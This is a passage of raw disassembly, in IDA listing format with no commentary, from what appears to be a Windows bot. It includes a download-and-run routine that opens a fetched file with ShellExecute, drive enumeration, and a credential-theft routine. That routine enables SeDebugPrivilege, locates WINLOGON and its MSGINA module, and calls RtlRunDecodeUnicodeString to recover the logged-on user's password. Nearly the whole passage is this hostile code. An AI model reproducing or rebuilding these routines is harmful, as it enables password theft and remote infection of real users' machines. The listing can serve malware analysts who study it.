eax loc_416835: ; CODE XREF: ___:00416908j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4C9210 cmp [ebp-34h], esi jz short loc_416879 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C46 pop ecx pop ecx loc_416879: ; CODE XREF: ___:00416866j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2720000h cmp edi, ebx jnb short loc_4168B7 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168A1 mov eax, [ebp+8] loc_4168A1: ; CODE XREF: ___:0041689Cj push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CAB0 add esp, 0Ch loc_4168B7: ; CODE XREF: ___:00416893j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_4168C4 cmp edi, [ebp-3Ch] ja short loc_41690E loc_4168C4: ; CODE XREF: ___:004168BDj cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_4168DE shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B58 jmp short loc_4168EE ; --------------------------------------------------------------------------- loc_4168DE: ; CODE XREF: ___:004168CAj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B30 loc_4168EE: ; CODE XREF: ___:004168DCj mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43C040 push eax call sub_41C006 add esp, 10h cmp [ebp+8], esi ja loc_416835 loc_41690E: ; CODE XREF: ___:004168C2j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416963 cmp edi, [ebp-3Ch] jz short loc_416963 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437B04 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_416963: ; CODE XREF: ___:00416918j ; ___:0041691Dj nop call near ptr 26B0D7Ah sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2680000h push dword ptr [ebp-1Ch] call sub_41BA31 cmp [ebp-38h], esi pop ecx jz short loc_4169ED lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_4169ED push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437ADC push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_4169ED: ; CODE XREF: ___:00416995j ; ___:004169A7j cmp [ebp-14h], esi jz loc_416C2D cmp dword ptr [ebp-44h], 1 jz loc_416AE8 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437AA4 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416A68 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416A68: ; CODE XREF: ___:00416A46j lea eax, [ebp-510h] push eax call sub_415CEE cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C2D push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4C9270 cmp [ebp-30h], esi jnz loc_416C2D lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437A88 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 24h jmp loc_416C2D ; --------------------------------------------------------------------------- loc_416AE8: ; CODE XREF: ___:004169FAj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437A44 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B50 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416B50: ; CODE XREF: ___:00416B2Ej lea eax, [ebp-510h] push eax call sub_415CEE push 10h lea eax, [ebp-10h] push esi push eax call sub_41BD10 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BD10 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43B4B8 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 268033Fh cmp eax, edi jnz short loc_416BD2 call dword_4C925C call sub_418857 push esi nop call near ptr 77E75CB5h loc_416BD2: ; CODE XREF: ___:00416BBEj lea eax, [ebp-148h] push eax push offset unk_437A10 jmp short loc_416BEC ; --------------------------------------------------------------------------- loc_416BE0: ; CODE XREF: ___:00416799j lea eax, [ebp-248h] push eax push offset unk_4379E4 loc_416BEC: ; CODE XREF: ___:00416BDEj lea eax, [ebp-510h] push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C20 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416C20: ; CODE XREF: ___:00416BFEj lea eax, [ebp-510h] push eax call sub_415CEE pop ecx loc_416C2D: ; CODE XREF: ___:004169F0j ; ___:00416A79j ... push dword ptr [ebp-18h] call dword_4C9338 push dword ptr [ebp-48h] call sub_40B6C9 pop ecx push esi call near ptr 2700000h nop ; =============== S U B R O U T I N E ======================================= sub_416C46 proc near ; CODE XREF: ___:00416872p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416C62 loc_416C52: ; CODE XREF: sub_416C46+1Aj mov dl, byte_429090 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C52 locret_416C62: ; CODE XREF: sub_416C46+Aj retn sub_416C46 endp ; =============== S U B R O U T I N E ======================================= sub_416C63 proc near ; CODE XREF: sub_401AC7+57AEp ; sub_401AC7+58E0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DB5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416C63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C7D proc near ; CODE XREF: sub_410330+45Dp ; sub_410330+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D0F38 push 0 push edi call sub_41BD10 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CA2: ; CODE XREF: sub_416C7D+5Bj ; sub_416C7D+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DC20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DBB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416CE0 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CA2 mov byte ptr [esi], 2Ch inc esi jmp short loc_416CA2 ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: sub_416C7D+4Bj dec esi mov eax, edi loc_416CE3: ; CODE XREF: sub_416C7D+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416CF2 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416CE3 ; --------------------------------------------------------------------------- loc_416CF2: ; CODE XREF: sub_416C7D+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416C7D endp ; =============== S U B R O U T I N E ======================================= sub_416CFC proc near ; CODE XREF: sub_416EA8+51p ; sub_416EA8+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9364 sub eax, 0 jz short loc_416D3F dec eax jz short loc_416D39 dec eax dec eax jz short loc_416D33 dec eax jz short loc_416D2D dec eax jz short loc_416D27 dec eax jz short loc_416D21 mov eax, offset word_437BD4 retn ; --------------------------------------------------------------------------- loc_416D21: ; CODE XREF: sub_416CFC+1Dj mov eax, offset off_437BD0 retn ; --------------------------------------------------------------------------- loc_416D27: ; CODE XREF: sub_416CFC+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D2D: ; CODE XREF: sub_416CFC+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D33: ; CODE XREF: sub_416CFC+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D39: ; CODE XREF: sub_416CFC+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D3F: ; CODE XREF: sub_416CFC+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416CFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D45 proc near ; CODE XREF: sub_416D8D+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4C91F4 test eax, eax jz short loc_416D7A lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416D7A: ; CODE XREF: sub_416D45+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D8D proc near ; CODE XREF: sub_416EA8+17p ; sub_41AF2B+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D45 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416E65 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DCA0 push edx push eax call sub_416C7D mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C100 add esp, 18h pop ebx jmp short loc_416E94 ; --------------------------------------------------------------------------- loc_416E65: ; CODE XREF: sub_416D8D+2Cj ; sub_416D8D+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C006 lea eax, [ebp+var_118] push esi push eax call sub_41C006 lea eax, [ebp+var_98] push esi push eax call sub_41C006 add esp, 18h loc_416E94: ; CODE XREF: sub_416D8D+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EA8 proc near ; CODE XREF: sub_416F7A+17p ; sub_416F7A+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C7E0 add esp, 10h test eax, eax jnz short loc_416F1B push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437C24 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 14h jmp short loc_416F4F ; --------------------------------------------------------------------------- loc_416F1B: ; CODE XREF: sub_416EA8+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437BE8 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 20h loc_416F4F: ; CODE XREF: sub_416EA8+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_500] push eax call sub_415CEE add esp, 18h pop edi pop esi pop ebx leave retn sub_416EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F7A proc near ; CODE XREF: sub_401AC7+2518p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416F9B push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h jmp short loc_416FFC ; --------------------------------------------------------------------------- loc_416F9B: ; CODE XREF: sub_416F7A+9j push esi push edi push ebx push ebx call dword_4C926C lea esi, [eax+2] push esi call sub_41BC9B pop ecx mov edi, eax push edi push esi call dword_4C926C cmp [edi], bl mov esi, edi jz short loc_416FF3 loc_416FBF: ; CODE XREF: sub_416F7A+77j push offset aA_1 ; "A:\\" push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_416FE2 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h loc_416FE2: ; CODE XREF: sub_416F7A+54j push esi call sub_41B960 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416FBF loc_416FF3: ; CODE XREF: sub_416F7A+43j push edi call sub_41BA31 pop ecx pop edi pop esi loc_416FFC: ; CODE XREF: sub_416F7A+1Fj pop ebx pop ebp retn sub_416F7A endp ; --------------------------------------------------------------------------- byte_416FFF db 55h ; DATA XREF: sub_401AC7+67F5o dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh dd 68FFFFh, 50000002h, 508FE8h, 10C48300h, 75F85D39h, 858D5320h dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h dd 59FFFF45h, 0E8905359h, 22E8EECh, 555B5E5Fh, 0EC81EC8Bh dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch dd 0FEBC858Dh, 0FF50FFFFh, 31E8FC75h, 9002358Eh, 8F75C085h dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh, 75FFFFFFh dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh dd 358DABE8h, 0C0859002h, 9056B175h, 1A8D9FE8h, 1C458B02h dd 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417269 proc near ; DATA XREF: sub_401AC7+1C62o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41ADDD cmp eax, esi mov [ebp+var_4], eax jz short loc_4172A8 cmp eax, 2 jz short loc_4172A8 push offset unk_437EA0 jmp loc_4173E7 ; --------------------------------------------------------------------------- loc_4172A8: ; CODE XREF: sub_417269+2Ej ; sub_417269+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx test eax, eax pop ecx jz loc_4173E2 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26C0BA5h mov esi, dword_4270CC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D217C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D2170, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D2380, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D2178, eax call esi mov dword_4D2174, eax call sub_41743B test eax, eax mov [ebp+arg_0], eax jz loc_4173B5 mov esi, dword_427154 mov edi, 400h mov ebx, offset dword_4D1170 push edi push ebx push offset off_437DDC call esi push edi mov edi, offset dword_4D1970 push edi push offset off_437DC4 call esi cmp [ebp+var_4], 1 push offset dword_4D2388 push [ebp+arg_0] jnz short loc_417361 call sub_4175C4 jmp short loc_417366 ; --------------------------------------------------------------------------- loc_417361: ; CODE XREF: sub_417269+EFj call sub_41776B loc_417366: ; CODE XREF: sub_417269+F6j pop ecx test eax, eax pop ecx jz short loc_4173AE cmp dword_4D2388, 0 jnz short loc_417395 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_437D68 push 200h push eax call sub_41C100 add esp, 18h jmp short loc_4173C8 ; --------------------------------------------------------------------------- loc_417395: ; CODE XREF: sub_417269+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173A5 call sub_4178A1 jmp short loc_4173AA ; --------------------------------------------------------------------------- loc_4173A5: ; CODE XREF: sub_417269+133j call sub_417938 loc_4173AA: ; CODE XREF: sub_417269+13Aj pop ecx push eax jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173AE: ; CODE XREF: sub_417269+101j push offset unk_437D30 jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173B5: ; CODE XREF: sub_417269+B6j push offset unk_437D04 loc_4173BA: ; CODE XREF: sub_417269+143j ; sub_417269+14Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173C8: ; CODE XREF: sub_417269+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push [ebp+var_8] nop call near ptr 27B0817h pop ebx jmp short loc_4173F5 ; --------------------------------------------------------------------------- loc_4173E2: ; CODE XREF: sub_417269+4Ej push offset unk_437CD0 loc_4173E7: ; CODE XREF: sub_417269+3Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173F5: ; CODE XREF: sub_417269+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_41741C push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409862 add esp, 14h loc_41741C: ; CODE XREF: sub_417269+191j lea eax, [ebp+var_29C] push eax call sub_415CEE push [ebp+var_18] call sub_40B6C9 pop ecx pop ecx push esi call near ptr 2700000h nop pop edi pop esi sub_417269 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41743B proc near ; CODE XREF: sub_417269+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427160 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_42715C push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D217C push ebp push 0 call esi push eax nop call near ptr 27D0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D217C test eax, eax jnz short loc_417528 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417528 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417528 loc_4174C4: ; CODE XREF: sub_41743B+EBj cmp word ptr [ebx+8], 5 jnz short loc_41751B push 0 push 0 call dword_4D2170 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D2380 test eax, eax jnz short loc_41750C mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_417540 loc_41750C: ; CODE XREF: sub_41743B+AAj test edi, edi jz short loc_417517 push edi call dword_4D2178 loc_417517: ; CODE XREF: sub_41743B+D3j mov eax, [esp+28h+var_10] loc_41751B: ; CODE XREF: sub_41743B+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4174C4 loc_417528: ; CODE XREF: sub_41743B+6Dj ; sub_41743B+7Aj ... xor edi, edi loc_41752A: ; CODE XREF: sub_41743B+17Dj push ebp push 0 call esi push eax nop call near ptr 27D0000h mov eax, edi loc_417538: ; CODE XREF: sub_41743B+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417540: ; CODE XREF: sub_41743B+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4175A9 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417556: ; CODE XREF: sub_41743B+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4175BD push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41759B mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41759B: ; CODE XREF: sub_41743B+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417556 loc_4175A9: ; CODE XREF: sub_41743B+10Fj test edi, edi jz short loc_4175B4 push edi call dword_4D2178 loc_4175B4: ; CODE XREF: sub_41743B+170j mov edi, [esp+28h+var_4] jmp loc_41752A ; --------------------------------------------------------------------------- loc_4175BD: ; CODE XREF: sub_41743B+13Cj xor eax, eax jmp loc_417538 sub_41743B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175C4 proc near ; CODE XREF: sub_417269+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26A0840h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4175ED xor eax, eax jmp loc_417768 ; --------------------------------------------------------------------------- loc_4175ED: ; CODE XREF: sub_4175C4+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 27F01CDh nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427160 push 8 call esi mov edi, dword_42715C push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427168 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_41763D xor esi, esi jmp loc_41775B ; --------------------------------------------------------------------------- loc_41763D: ; CODE XREF: sub_4175C4+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27E0B6Ch nop test eax, eax jz loc_41774A mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_41774A test [ebp+var_2B], 1 jnz loc_41774A push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_41774A loc_4176A0: ; CODE XREF: sub_4175C4+112j push edi push offset dword_4D1170 call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_4176C8 lea eax, [edi+200h] push eax push offset dword_4D1970 call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_4176D8 loc_4176C8: ; CODE XREF: sub_4175C4+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_41774A jmp short loc_4176A0 ; --------------------------------------------------------------------------- loc_4176D8: ; CODE XREF: sub_4175C4+102j test edi, edi jz short loc_41774A lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 27608EEh test eax, eax jz short loc_417713 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2760331h test eax, eax jz short loc_417713 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417713: ; CODE XREF: sub_4175C4+12Bj ; sub_4175C4+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D2394, eax mov 